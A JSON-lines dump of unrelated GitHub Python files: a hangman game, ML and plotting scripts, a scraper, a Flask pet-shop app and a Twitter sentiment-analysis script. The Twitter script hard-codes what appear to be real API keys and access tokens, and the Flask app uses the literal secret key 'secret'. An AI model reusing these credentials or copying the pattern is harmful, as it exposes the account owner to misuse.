{"seq_id":"7509162667","text":"import pygame, sys\nimport math\nimport random\n\npygame.init()\nWIDTH, HEIGHT = 800, 500\nwin = pygame.display.set_mode((WIDTH, HEIGHT))\npygame.display.set_caption(\"Hangman Game!\")\nWHITE = (255, 255, 255)\nBLACK = (0, 0, 0)\n\nimages = []\nfor i in range(7):\n    image = pygame.image.load(\"hangman\" + str(i) + \".png\")\n    images.append(image)\n\nRADIUS = 20\nGAP = 15\n\nletters = []\nstart_x = round((WIDTH - (RADIUS * 2 + GAP) * 13) / 2)\nstart_y = 400\nA = 65\nfor i in range(26):\n    x = start_x + GAP * 2 + ((RADIUS * 2 + GAP) * (i % 13))\n    y = start_y + ((i//13) * (GAP + RADIUS * 2))\n    letters.append([x, y, chr(A + i), True])\n\nLETTER_FONT = pygame.font.SysFont(\"comicsans\", 40)\nWORD_FONT = pygame.font.SysFont('comicsans', 60)\nTITLE_FONT = pygame.font.SysFont('comicsans', 70)\n\nhangman_status = 0\nwords = [\"HELLO\", \"PROGRAM\", \"PYTHON\", \"WORLD\", \"COMPUTER\", \"STRING\", \"GITHUB\", \"HANGMAN\"]\nguessed = []\n\n\ndef menu():\n    global guessed\n\n    FPS = 60\n    clock = pygame.time.Clock()\n    run = True\n\n    while run:\n        clock.tick(FPS)\n\n        win.fill(WHITE)\n        text = TITLE_FONT.render(\"Hangman Game\", True, BLACK)\n        win.blit(text, (WIDTH/2 - text.get_width() / 2, 20))\n        pygame.draw.rect(win, BLACK, (300, 190, 200, 50))\n        text = LETTER_FONT.render(\"Start game\", True, WHITE)\n        win.blit(text, (WIDTH/2 - text.get_width() / 2, 200))\n        pygame.display.update()\n\n        for event in pygame.event.get():\n            if event.type == pygame.QUIT:\n                run = False\n            if event.type == pygame.MOUSEBUTTONDOWN:\n                m_x, m_y = pygame.mouse.get_pos()\n                if m_x > 300 and m_y > 190:\n                    if m_x < 500 and m_y < 240:\n                        main()\n\n\ndef draw(word):\n    win.fill(WHITE)\n\n    display_word = \"\"\n    for letter in word:\n        if letter in guessed:\n            display_word += letter + \" \"\n        else:\n            display_word += \"_ \"\n    text = WORD_FONT.render(display_word, True, BLACK)\n    win.blit(text, (400, 200))\n\n    for letter in letters:\n        x, y, ltr, visible = letter\n        if visible:\n            pygame.draw.circle(win, BLACK, (x, y), RADIUS, 3)\n            text = LETTER_FONT.render(ltr, True, BLACK)\n            win.blit(text, (x - text.get_width()/2, y - text.get_height()/2))\n    win.blit(images[hangman_status], (150, 100))\n    pygame.display.update()\n\n\ndef print_message(message):\n    pygame.time.delay(800)\n    win.fill(WHITE)\n    text = WORD_FONT.render(message, True, BLACK)\n    win.blit(text, (WIDTH/2 - text.get_width()/2, HEIGHT/2 - text.get_height()/2))\n    pygame.display.update()\n    pygame.time.delay(1500)\n\n\ndef main():\n    global hangman_status\n\n    FPS = 60\n    clock = pygame.time.Clock()\n    run = True\n\n    for i in letters:\n        i[3] = True\n\n    guessed.clear()\n    word = random.choice(words)\n    hangman_status = 0\n\n    while run:\n\n        clock.tick(FPS)\n\n        for event in pygame.event.get():\n            if event.type == pygame.QUIT:\n                run = False\n\n            if event.type == pygame.MOUSEBUTTONDOWN:\n                m_x, m_y = pygame.mouse.get_pos()\n                for letter in letters:\n                    x, y, ltr, visible = letter\n                    distance = math.sqrt((x - m_x)**2 + (y - m_y)**2)\n                    if distance < RADIUS:\n                        letter[3] = False\n                        if ltr not in word:\n                            if ltr in guessed:\n                                continue\n                            hangman_status += 1\n                        if ltr not in guessed:\n                            guessed.append(ltr)\n        draw(word)\n\n        won = True\n        for letter in word:\n            if letter not in guessed:\n                won = False\n                break\n        if won:\n            print_message(\"You Won!\")\n            break\n\n        if hangman_status == 6:\n            print_message(\"You Lost!\")\n            break\n\n\nmenu()\npygame.quit()\nsys.exit()","repo_name":"kinghacker01/Hangman","sub_path":"hangman.py","file_name":"hangman.py","file_ext":"py","file_size_in_byte":3983,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"19314071646","text":"from inspect import getsourcefile\nimport sys\nimport os\n\ncurrent_path = os.path.abspath(getsourcefile(lambda: 0))\ncurrent_dir = os.path.dirname(current_path)\nparent_dir = current_dir[:current_dir.rfind(os.path.sep)]\nsys.path.insert(0, parent_dir)\n\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\n\nimport argparse\nimport os\n\nimport torch\n\nimport lib.toy_data as toy_data\nimport lib.utils as utils\nimport lib.visualize_flow as viz_flow\nimport lib.layers.odefunc as odefunc\nimport lib.layers as layers\n\nfrom train_misc import standard_normal_logprob\nfrom train_misc import build_model_tabular, count_parameters\n\nSOLVERS = [\"dopri5\", \"bdf\", \"rk4\", \"midpoint\", 'adams', 'explicit_adams', 'fixed_adams']\nparser = argparse.ArgumentParser('Continuous Normalizing Flow')\nparser.add_argument(\n    '--data', choices=['swissroll', '8gaussians', 'pinwheel', 'circles', 'moons', '2spirals', 'checkerboard', 'rings'],\n    type=str, default='pinwheel'\n)\n\nparser.add_argument('--discrete', action='store_true')\n\nparser.add_argument('--depth', help='number of coupling layers', type=int, default=10)\nparser.add_argument('--glow', type=eval, choices=[True, False], default=False)\n\nparser.add_argument(\n    \"--layer_type\", type=str, default=\"concatsquash\",\n    choices=[\"ignore\", \"concat\", \"concat_v2\", \"squash\", \"concatsquash\", \"concatcoord\", \"hyper\", \"blend\"]\n)\nparser.add_argument('--dims', type=str, default='64-64-64')\nparser.add_argument(\"--num_blocks\", type=int, default=1, help='Number of stacked CNFs.')\nparser.add_argument('--time_length', type=float, default=0.5)\nparser.add_argument('--train_T', type=eval, default=True)\nparser.add_argument(\"--divergence_fn\", type=str, default=\"brute_force\", choices=[\"brute_force\", \"approximate\"])\nparser.add_argument(\"--nonlinearity\", type=str, default=\"tanh\", choices=odefunc.NONLINEARITIES)\n\nparser.add_argument('--solver', type=str, default='dopri5', choices=SOLVERS)\nparser.add_argument('--atol', type=float, default=1e-5)\nparser.add_argument('--rtol', type=float, default=1e-5)\nparser.add_argument(\"--step_size\", type=float, default=None, help=\"Optional fixed step size.\")\n\nparser.add_argument('--test_solver', type=str, default=None, choices=SOLVERS + [None])\nparser.add_argument('--test_atol', type=float, default=None)\nparser.add_argument('--test_rtol', type=float, default=None)\n\nparser.add_argument('--residual', type=eval, default=False, choices=[True, False])\nparser.add_argument('--rademacher', type=eval, default=False, choices=[True, False])\nparser.add_argument('--spectral_norm', type=eval, default=False, choices=[True, False])\nparser.add_argument('--batch_norm', type=eval, default=False, choices=[True, False])\nparser.add_argument('--bn_lag', type=float, default=0)\n\nparser.add_argument('--niters', type=int, default=2500)\nparser.add_argument('--batch_size', type=int, default=100)\nparser.add_argument('--test_batch_size', type=int, default=1000)\nparser.add_argument('--lr', type=float, default=1e-3)\nparser.add_argument('--weight_decay', type=float, default=1e-5)\n\nparser.add_argument('--checkpt', type=str, required=True)\nparser.add_argument('--save', type=str, default='experiments/cnf')\nparser.add_argument('--viz_freq', type=int, default=100)\nparser.add_argument('--val_freq', type=int, default=100)\nparser.add_argument('--log_freq', type=int, default=10)\nparser.add_argument('--gpu', type=int, default=0)\nargs = parser.parse_args()\n\ndevice = torch.device('cuda:' + str(args.gpu) if torch.cuda.is_available() else 'cpu')\n\n\ndef construct_discrete_model():\n\n    chain = []\n    for i in range(args.depth):\n        if args.glow: chain.append(layers.BruteForceLayer(2))\n        chain.append(layers.CouplingLayer(2, swap=i % 2 == 0))\n    return layers.SequentialFlow(chain)\n\n\ndef get_transforms(model):\n\n    def sample_fn(z, logpz=None):\n        if logpz is not None:\n            return model(z, logpz, reverse=True)\n        else:\n            return model(z, reverse=True)\n\n    def density_fn(x, logpx=None):\n        if logpx is not None:\n            return model(x, logpx, reverse=False)\n        else:\n            return model(x, reverse=False)\n\n    return sample_fn, density_fn\n\n\nif __name__ == '__main__':\n\n    if args.discrete:\n        model = construct_discrete_model().to(device)\n        model.load_state_dict(torch.load(args.checkpt)['state_dict'])\n    else:\n        model = build_model_tabular(args, 2).to(device)\n\n        sd = torch.load(args.checkpt)['state_dict']\n        fixed_sd = {}\n        for k, v in sd.items():\n            fixed_sd[k.replace('odefunc.odefunc', 'odefunc')] = v\n        model.load_state_dict(fixed_sd)\n\n    print(model)\n    print(\"Number of trainable parameters: {}\".format(count_parameters(model)))\n\n    model.eval()\n    p_samples = toy_data.inf_train_gen(args.data, batch_size=800**2)\n\n    with torch.no_grad():\n        sample_fn, density_fn = get_transforms(model)\n\n        plt.figure(figsize=(10, 10))\n        ax = ax = plt.gca()\n        viz_flow.plt_samples(p_samples, ax, npts=800)\n        plt.subplots_adjust(left=0, right=1, top=1, bottom=0)\n        fig_filename = os.path.join(args.save, 'figs', 'true_samples.jpg')\n        utils.makedirs(os.path.dirname(fig_filename))\n        plt.savefig(fig_filename)\n        plt.close()\n\n        plt.figure(figsize=(10, 10))\n        ax = ax = plt.gca()\n        viz_flow.plt_flow_density(standard_normal_logprob, density_fn, ax, npts=800, memory=200, device=device)\n        plt.subplots_adjust(left=0, right=1, top=1, bottom=0)\n        fig_filename = os.path.join(args.save, 'figs', 'model_density.jpg')\n        utils.makedirs(os.path.dirname(fig_filename))\n        plt.savefig(fig_filename)\n        plt.close()\n\n        plt.figure(figsize=(10, 10))\n        ax = ax = plt.gca()\n        viz_flow.plt_flow_samples(torch.randn, sample_fn, ax, npts=800, memory=200, device=device)\n        plt.subplots_adjust(left=0, right=1, top=1, bottom=0)\n        fig_filename = os.path.join(args.save, 'figs', 'model_samples.jpg')\n        utils.makedirs(os.path.dirname(fig_filename))\n        plt.savefig(fig_filename)\n        plt.close()\n","repo_name":"rtqichen/ffjord","sub_path":"diagnostics/plot_flows.py","file_name":"plot_flows.py","file_ext":"py","file_size_in_byte":6070,"program_lang":"python","lang":"en","doc_type":"code","stars":599,"dataset":"github-code","pt":"35"}
{"seq_id":"33636524726","text":"from distutils.core import setup, Extension\n \next = Extension(\n    'mxmidi',\n    sources=['mxmidimodule.c'],\n    include_dirs=['/usr/include/alsa'],\n    libraries=['asound'],\n)\n \nsetup(\n    name='mxmidi',\n    version='0.1',\n    description='Python MIDI wrappers and tools.',\n    ext_modules=[ext],\n    scripts=['midisend.py']\n)\n","repo_name":"amt386/pymxmidi","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":328,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"42602364668","text":"from typing import List\n\n\nclass Solution:\n    def nextGreatestLetter(self, letters: List[str], target: str) -> str:\n        left, right = 0, len(letters) - 1\n        \n        while left <= right:\n            mid = (left + right) // 2\n            if ord(letters[mid]) <= ord(target):\n                left = mid + 1\n            else:\n                right = mid - 1\n                \n        return letters[left % len(letters)]\n        ","repo_name":"Howuhh/cs_algorithms","sub_path":"leetcode/bin_search/easy/nextGreatestLetter.py","file_name":"nextGreatestLetter.py","file_ext":"py","file_size_in_byte":433,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"35"}
{"seq_id":"9791517410","text":"import requests\nfrom bs4 import BeautifulSoup as BS\nimport csv\n\n\ndef get_html(url):\n    session = requests.session()\n    session.headers = {\n        'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36'}\n    r = session.get(url)\n    if r.ok:\n        return r.text\n    else:\n        print(r.status_code)\n\n\ndef write_csv(data):\n    with open('realtytrac.csv', 'a') as f:\n        writer = csv.writer(f, delimiter=',')\n        writer.writerow((data['adress'],\n                         data['url'],\n                         data['price'],\n                         data['date']))\n\n\ndef fix_price(text):\n    price = text.split('$')\n    price = price[1].replace(',', '')\n    return price\n\n\ndef fix_date(text):\n    date = text.split(' ')\n    date = date[3]\n    return date\n\n\ndef get_page_data(html, url):\n    soup = BS(html, 'lxml')\n\n    try:\n        adress = soup.find('section', class_='summary-block').find('h1')\n        adresses = adress.find_all('span')\n        adress = adresses[0].text + ' ' + adresses[1].text + ' ' + adresses[2].text + ' ' + adresses[3].text\n    except:\n        adress = ''\n\n    try:\n        prices = soup.find('div', class_='price').find('strong').text\n        price = fix_price(prices)\n    except:\n        price = ''\n\n    try:\n        dates = soup.find('div', class_='col-3').find('a').text.strip()\n        date = fix_date(dates)\n    except:\n        date = ''\n\n    data = {'adress': adress,\n            'url': url,\n            'price': price,\n            'date': date}\n\n    write_csv(data)\n\n\ndef main():\n    #   url = 'https://www.realtytrac.com/propertydetails/pa/tarentum/15084/johnson-ave/109435477/'\n    url = input('Введите ссылку: ')\n    get_page_data(get_html(url), url)\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"tchaikovski/SEO","sub_path":"Mainsoup.py","file_name":"Mainsoup.py","file_ext":"py","file_size_in_byte":1812,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"21701145372","text":"import xgboost as xgb\nfrom sklearn.metrics import accuracy_score, confusion_matrix\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport itertools\nimport pandas as pd\nimport graphviz\nfrom sklearn.model_selection import GridSearchCV, train_test_split\n\n\ndef plot_confusion_matrix(cm, classes, title='Confusion matrix', cmap=plt.cm.Blues):\n    \"\"\"\n    plot confusion matrix\n    :param cm:\n    :param classes:\n    :param title: str\n    :param cmap: color map\n    :return: plot\n    \"\"\"\n    plt.imshow(cm, interpolation='nearest', cmap=cmap)\n    plt.title(title)\n    plt.colorbar()\n    tick_marks = np.arange(len(classes))\n    plt.xticks(tick_marks, classes, rotation=0)\n    plt.yticks(tick_marks, classes)\n\n    thresh = cm.max() / 2.0\n\n    print(\"thresh:\", thresh, )\n    for i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])):\n        plt.text(j, i, cm[i, j], horizontalalignment='center', color='white' if cm[i, j] > thresh else 'black')\n\n    plt.tight_layout()\n    plt.ylabel('True label')\n    plt.xlabel('Predicted label')\n\n\ndef df2dmatrix(df, column_name='Class'):\n    \"\"\"\n    transforming dataFrame to dmatrix data\n    :param df: dataframe\n    :param column_name: the label named\n    :return: dmatrix data\n    \"\"\"\n    data = df.iloc[:, df.columns != column_name]\n    label = df[column_name].values\n    dmatrx_data = xgb.DMatrix(data, label)\n    return dmatrx_data\n\n\ndef xgb_gv(x_train, y_train, params):\n    \"\"\"\n    no need to create DMatrix if using sklearn wrapper\n    :param x_train, y_train: preprocessed data in sklearn\n    :param params: params used in grid search\n    :return:\n    \"\"\"\n\n    clf = xgb.XGBClassifier(learning_rate=0.02, n_estimators=600, objective='binary:logistic', silent=True, nthread=1)\n    gv = GridSearchCV(clf, params, cv=2)\n    gv.fit(x_train, y_train)\n    return gv.best_params_\n\n\n# loading data type:txt\ndf = pd.read_csv('./data/under_sample_data.csv')\n# dtrain = df2dmatrix(df)\n# dtrain = xgb.DMatrix('./data/agaricus.txt.train')\n# dtest = xgb.DMatrix('./data/agaricus.txt.test')\n# dtest = dtrain\n\ndf_train, df_test = train_test_split(df, test_size=0.3, random_state=42)\nx_train, y_train = df_train.loc[:, df_train.columns != 'Class'], df_train.loc[:, 'Class']\n\nparams = {\n    'min_child_weight': [1, 5, 10],\n    'gamma': [0.5, 1, 1.5, 2, 5],\n    # 'subsample': [0.6, 0.8, 1.0],\n    # 'colsample_bytree': [0.6, 0.8, 1.0],\n    # 'max_depth': [3, 4, 5],\n    # 'num_boost_round': [100, 250, 500],\n    # 'eta': [0.05, 0.1, 0.3],\n}\n\nprint(xgb_gv(x_train, y_train, params))\n\n#######################\n# setting parameters\n# param = {\n#     'max_depth': 2,\n#     'eta': 1,\n#     'silent': 1,\n#     'objective': 'binary:logistic'\n# }\n# num_round = 2\n#\n# # use parameters to train\n# bst = xgb.train(param, dtrain, num_round)\n# train_preds = bst.predict(dtrain)\n# train_preds = [round(train_pred) for train_pred in train_preds]\n#\n# # preds data\n# preds = bst.predict(dtest)\n# preds = [round(pred) for pred in preds]\n# y_train = dtrain.get_label()\n# y_test = dtest.get_label()\n#\n#\n# # showing accuracy\n# test_accuracy = accuracy_score(y_test, preds)\n# train_accuracy = accuracy_score(y_train, train_preds)\n# print('*' * 10, '\\n training accuracy is: ', train_accuracy)\n# print('test acc is:', test_accuracy)\n#\n# # visualization\n# train_cm = confusion_matrix(y_train, train_preds)\n# test_cm = confusion_matrix(y_test, preds)\n#\n# plot_confusion_matrix(train_cm, [0, 1], 'train cf')\n# plt.show()\n#\n# plot_confusion_matrix(test_cm, [0, 1], 'test CF')\n# plt.show()\n#\n# # using xgb to plot\n#\n# xgb.plot_importance(bst)\n# plt.show()\n\n# todo: something wrong, did not work out\n# xgb.plot_tree(bst, num_trees=1)\n# plt.show()\n","repo_name":"xpandi-top/ML-THUAUS","sub_path":"c_xgb_model.py","file_name":"c_xgb_model.py","file_ext":"py","file_size_in_byte":3654,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"70301241062","text":"\"\"\"\nExceptions.\n\n- - - - - -\nDocs: https://edzed.readthedocs.io/en/latest/\nHome: https://github.com/xitop/edzed/\n\"\"\"\n\n_HAS_EXCEPTION_NOTES = hasattr(BaseException, 'add_note')\n\n__all__ = [\n    'add_note',\n    'EdzedError', 'EdzedCircuitError', 'EdzedInvalidState', 'EdzedUnknownEvent']\n\nclass EdzedError(Exception):\n    \"\"\"Base class for Edzed exceptions.\"\"\"\n\nclass EdzedCircuitError(EdzedError):\n    \"\"\"Critical error.\"\"\"\n\nclass EdzedInvalidState(EdzedError):\n    \"\"\"Invalid state error.\"\"\"\n\nclass EdzedUnknownEvent(EdzedError):\n    \"\"\"Event type not supported.\"\"\"\n\ndef add_note(exc: BaseException, note:str) -> None:\n    \"\"\"Add a note to an exception.\"\"\"\n    if _HAS_EXCEPTION_NOTES:\n        # supported natively in Python >= 3.11\n        exc.add_note(note)\n    elif exc.args and isinstance(exc.args[0], str):\n        # fallback: prepend the note to the error message\n        exc.args = (f\"[{note}] {exc.args[0]}\", *exc.args[1:])\n","repo_name":"xitop/edzed","sub_path":"edzed/exceptions.py","file_name":"exceptions.py","file_ext":"py","file_size_in_byte":932,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"70522912740","text":"import numpy as np\nimport torch\nimport logging\nimport os\nfrom datetime import datetime\nimport argparse\nfrom shutil import copyfile, copytree\n\nfrom utils.seed import seed_everything\ndef pre2():\n    \"\"\"命令行参数\"\"\"\n    parser = argparse.ArgumentParser()\n    parser.add_argument('--submit_id', type=str, required=True)\n    parser.add_argument('--cuda', default=0)\n    parser.add_argument('--bs', type=int, default=32)\n    parser.add_argument('--big_bs', type=int, default=256)\n    parser.add_argument('--lr', type=float, default=0.001)\n    parser.add_argument('--weight_decay', type=float, default=1e-4)\n    parser.add_argument('--rlrp', default=False, action='store_true' )\n    parser.add_argument('--sr', default=0.1, type=float, help='split_ratio' )\n    parser.add_argument('--seed', default=1, type=int )\n    parser.add_argument('--classifier', default=False, action='store_true' )\n    parser.add_argument('--epochs', default=2000, type=int)\n    parser.add_argument('--begin_epochs', default=10000, type=int)\n    parser.add_argument('--no_seed', default=True, action = 'store_false' )\n    parser.add_argument('--change_learning_rate_epochs', default=100, type=int)\n    parser.add_argument('--k', default=0, type=int, help=\"in case3, the k_th labelled data is test set \")\n    parser.add_argument('--method_id', default=1, type=int, help=\"the method id  \")\n\n    parser.add_argument('--num_workers', default=4, type=int)\n    parser.add_argument('--pin_memory', default=False, action='store_true' )\n    parser.add_argument('--no_test', default=False, action = 'store_true' )\n    parser.add_argument('--copy_test', default=False, action = 'store_true' )\n    parser.add_argument('--smaller_test_split', default=None, type=float, help='split test set to be more small' )\n    \n    parser.add_argument('--no_esembled', default=False, action='store_true' )\n    parser.add_argument('--no_esembled_half', default=False, action='store_true' )\n    parser.add_argument('--no_esembled_3000', default=False, action='store_true' )\n    \n    parser.add_argument('--half_pseudo', default=False, action='store_true', help='use only half of the psesudo ' )\n    parser.add_argument('--_3000_pseudo', default=False, action='store_true', help='use only 3000 of the psesudo ' )\n    args = parser.parse_args()\n    \"\"\"注意评测设备只有一块gpu\"\"\"\n    \"\"\"保存好要提交的文件、训练代码、训练日志\"\"\"\n    id_path = os.path.join('submit',str(args.submit_id))\n    if not os.path.exists(id_path):\n        os.mkdir(id_path)\n    submit_path = os.path.join(id_path, 'submit_pt')\n    if not os.path.exists(submit_path):\n        os.mkdir(submit_path)\n    logging.basicConfig(filename=os.path.join(id_path,\"model2_log.txt\"), filemode='w', level=logging.DEBUG)\n    logging.info(datetime.now())\n    logging.info(args)\n    model_save = os.path.join(submit_path,'modelSubmit_2.pth')\n    copyfile('pytorch_Template/modelDesign_2.py', os.path.join(submit_path, 'modelDesign_2.py'))\n\n    # copyfile('pytorch_Template/utils.py', os.path.join(id_path, 'utils.py'))\n    copytree('pytorch_Template/utils', os.path.join(id_path, 'utils'), dirs_exist_ok=True)\n    \n    \"\"\"设置随机数种子\"\"\"\n    if args.no_seed == False:\n        seed_value = args.seed\n        seed_everything(seed_value=seed_value)\n        logging.info(f'seed_value:{seed_value}')\n    else:\n        logging.info(f'不设定可复现')\n    \"\"\"加载数据\"\"\"\n\n    trainX_labeled = torch.tensor(np.load('data/case3/Case_3_Training_train.npy'), dtype=torch.float)\n    trainY_labeled = torch.tensor(np.load('data/case3/Case_3_Training_train_label.npy'), dtype=torch.float)\n    test_trainX_labeled = torch.tensor(np.load('data/case3/Case_3_Training_test.npy'), dtype=torch.float)\n    test_trainY_labeled = torch.tensor(np.load('data/case3/Case_3_Training_test_label.npy'), dtype=torch.float)\n    trainX_unlabeled = torch.tensor(np.load('data/case3/Case_3_unlabeled.npy'), dtype = torch.float)\n    if args.classifier == False:\n        trainY_labeled = trainY_labeled[:,:2]\n        test_trainY_labeled = test_trainY_labeled[:,:2]\n    \"\"\"训练集数据扩增\"\"\"\n    # trainX_labeled, trainY_labeled = Model_2().data_aug(x = trainX_labeled, y = trainY_labeled)\n    \"\"\"测试集数据扩增\"\"\"\n    # test_trainX_labeled, test_trainY_labeled = Model_2().data_aug(x = test_trainX_labeled, y = test_trainY_labeled)\n\n    return args, id_path, submit_path,  trainX_unlabeled, trainX_labeled, trainY_labeled, test_trainX_labeled, test_trainY_labeled, model_save\n","repo_name":"ChenJunzhi-buaa/competition-AI-based-High-Precision-Positioning-","sub_path":"code/utils/args_codesave.py","file_name":"args_codesave.py","file_ext":"py","file_size_in_byte":4498,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"21337930843","text":"# Everything from line 3 to 17 is a typical boiler plate for using SQLAlchemy on a flask application\n\nfrom flask import Flask, request, render_template, redirect, flash, session\nfrom flask_debugtoolbar import DebugToolbarExtension\nfrom models import db, connect_db, Pet \n#Pet is a class on models.py\n\n\napp = Flask(__name__)\n\napp.config['SQLALCHEMY_DATABASE_URI'] = 'postgresql:///pet_shop_db'\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\napp.config['SQLALCHEMY_ECHO'] = True\napp.config['SECRET_KEY'] = \"secret\"\napp.config['DEBUG_TB_INTERCEPT_REDIRECTS'] = False\ndebug = DebugToolbarExtension(app)\n\nconnect_db(app)\n\n@app.route('/')\ndef list_pets():\n  \"\"\"shows list of all pets in database\"\"\"\n\n  # We have access to Pet which was imported, and can store a list of all of the pets\n  pets = Pet.query.all()\n  return render_template('list.html', pets=pets )\n\n@app.route('/', methods=[\"POST\"])\ndef create_pet():\n  name = request.form[\"name\"]\n  species = request.form[\"species\"]\n  hunger = request.form[\"hunger\"]\n  # Set hunger to int because request.form returns a string\n  hunger = int(hunger) if hunger else None\n\n  # make new instance of Pet\n  new_pet = Pet(name=name, species=species, hunger=hunger)\n  db.session.add(new_pet)\n  db.session.commit()\n\n  # Rember that we want to redirect for POST requests, if not the same form can be resubmitted and will cause duplicate data\n  # Redirecting to details page, where the info of the new pet being added will be displayed\n  return redirect(f\"/{new_pet.id}\")\n\n@app.route('/<int:pet_id>')\ndef show_pet(pet_id):\n  \"\"\"Show details about a single pet\"\"\"\n  # pet = Pet.query.get(pet_id)\n\n  # If we try to access a pet id that does not exist it will return pet will equal \"none\" which we do not want, \n  # Use get_or_404, which will throw a 404 error instead of returning none\n  pet = Pet.query.get_or_404(pet_id)\n  return render_template(\"details.html\",pet=pet )\n\n@app.route(\"/species/<species_id>\")\ndef show_pets_by_species(species_id):\n  pets = Pet.get_by_species(species_id)\n  return render_template('species.html', pets=pets, species=species_id)\n\n\n\n\n\n\n  ","repo_name":"dnnyhua/SQLAlchemy-simple-flask-app-example","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2103,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"12221106461","text":"import numpy as np\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nimport json\r\nimport tweepy\r\nimport time\r\nimport seaborn as sns\r\nimport csv\r\nfrom vaderSentiment.vaderSentiment import SentimentIntensityAnalyzer\r\n\r\n# Initialize Sentiment Analyzer\r\nanalyzer = SentimentIntensityAnalyzer()\r\n\r\n# Twitter API Keys\r\nconsumer_key = \"iYisNscmJz071KRSMNevSFwEK\"\r\nconsumer_secret = \"60mFgvKBgrYZjEfhCkAaTm6jEYq3iDBdrnF11AeEgoC5GtR0Jn\"\r\naccess_token = \"2513453952-mkhs7Urv559Bzt6DVquYiFXriIuO7XJ3YHBlWde\"\r\naccess_token_secret = \"srNiXKJaABUz1FyHD15eKnYv6BnsiWYkqvjvO4ekxXW6H\"\r\n\r\n# Setup Tweepy API Authentication\r\nauth = tweepy.OAuthHandler(consumer_key, consumer_secret)\r\nauth.set_access_token(access_token, access_token_secret)\r\napi = tweepy.API(auth, parser=tweepy.parsers.JSONParser())\r\n\r\n# Target Account\r\n#target = \"@CNN\"\r\ntarget_terms = (\"@BBCWorld\", \"@CNN\", \"@FoxNews\",\r\n                \"@CBSNews\", \"@nytimes\")\r\n\r\n# Counter\r\ncounter = 1\r\n\r\n# Variables for holding sentiments\r\nsource_sentiments = []\r\n\r\n# Loop through 5 pages of tweets (total 100 tweets)\r\nfor target in target_terms:\r\n  sentiments = []\r\n  # Get all tweets from home feed\r\n  public_tweets = api.user_timeline(target, count=100)\r\n\r\n  # Loop through all tweets\r\n  for tweet in public_tweets:\r\n\r\n    # Print Tweets\r\n    # print(\"Tweet %s: %s\" % (counter, tweet[\"text\"]))\r\n\r\n    # Run Vader Analysis on each tweet\r\n    compound = analyzer.polarity_scores(tweet[\"text\"])[\"compound\"]\r\n    pos = analyzer.polarity_scores(tweet[\"text\"])[\"pos\"]\r\n    neu = analyzer.polarity_scores(tweet[\"text\"])[\"neu\"]\r\n    neg = analyzer.polarity_scores(tweet[\"text\"])[\"neg\"]\r\n    tweets_ago = counter\r\n\r\n    # Add sentiments for each tweet into an array\r\n    sentiments.append({\"Date\": tweet[\"created_at\"],\r\n                       \"Compound\": compound,\r\n                       \"Positive\": pos,\r\n                       \"Negative\": neu,\r\n                       \"Neutral\": neg,\r\n                       \"Tweets Ago\": counter,\r\n                       \"Target\": target})\r\n\r\n    # Add to counter\r\n    counter = counter + 1\r\n\r\n  source_sentiments.append(sentiments)\r\n#prt_this = sentiments[0]\r\n# print(sentiments[4])\r\n# print(len(sentiments[4]))\r\n\r\nsentiment_dataframes = []\r\n\r\nfor sentiments in source_sentiments:\r\n  # to do: set the color of the target points\r\n\r\n  sentiments_pd = pd.DataFrame(sentiments)\r\n  # print(sentiments)\r\n  target = \"\"\r\n  time = \"\"\r\n  for sentiment in sentiments:\r\n    print(sentiment)\r\n    target = sentiment['Target']\r\n    time = sentiment['Date']\r\n    sentiments_pd.append(sentiments)\r\n\r\n # sentiment_dataframes.append(sentiments_pd)\r\n\r\n# for df in sentiment_dataframes:\r\n\r\n#print(sentiments_pd['Tweets Ago'].head())\r\n  plt.scatter(np.arange(len(sentiments_pd[\"Compound\"])),\r\n              sentiments_pd[\"Compound\"], marker=\"o\", linewidth=0.5, alpha=0.8)\r\n\r\n# # Incorporate the other graph properties\r\n  plt.title(\"Sentiment Analysis of News Tweets 03/07/18\")\r\n  plt.ylabel(\"Tweet Polarity\")\r\n  plt.xlabel(\"Tweets Ago\")\r\nplt.legend(target_terms)\r\nplt.show()\r\n\r\n#y = np.arange(sentiments_pd['Compound'])\r\n#N = len(y)\r\n#x = len(y)\r\n#width = 1/1.5\r\n#plt.bar(x, y, width, color=\"blue\")\r\n#plt.show()\r\n \r\n","repo_name":"K1ngK3nny/Data-Analytics-Stuff","sub_path":"Homework/twt_sentiment_hw.py","file_name":"twt_sentiment_hw.py","file_ext":"py","file_size_in_byte":3168,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
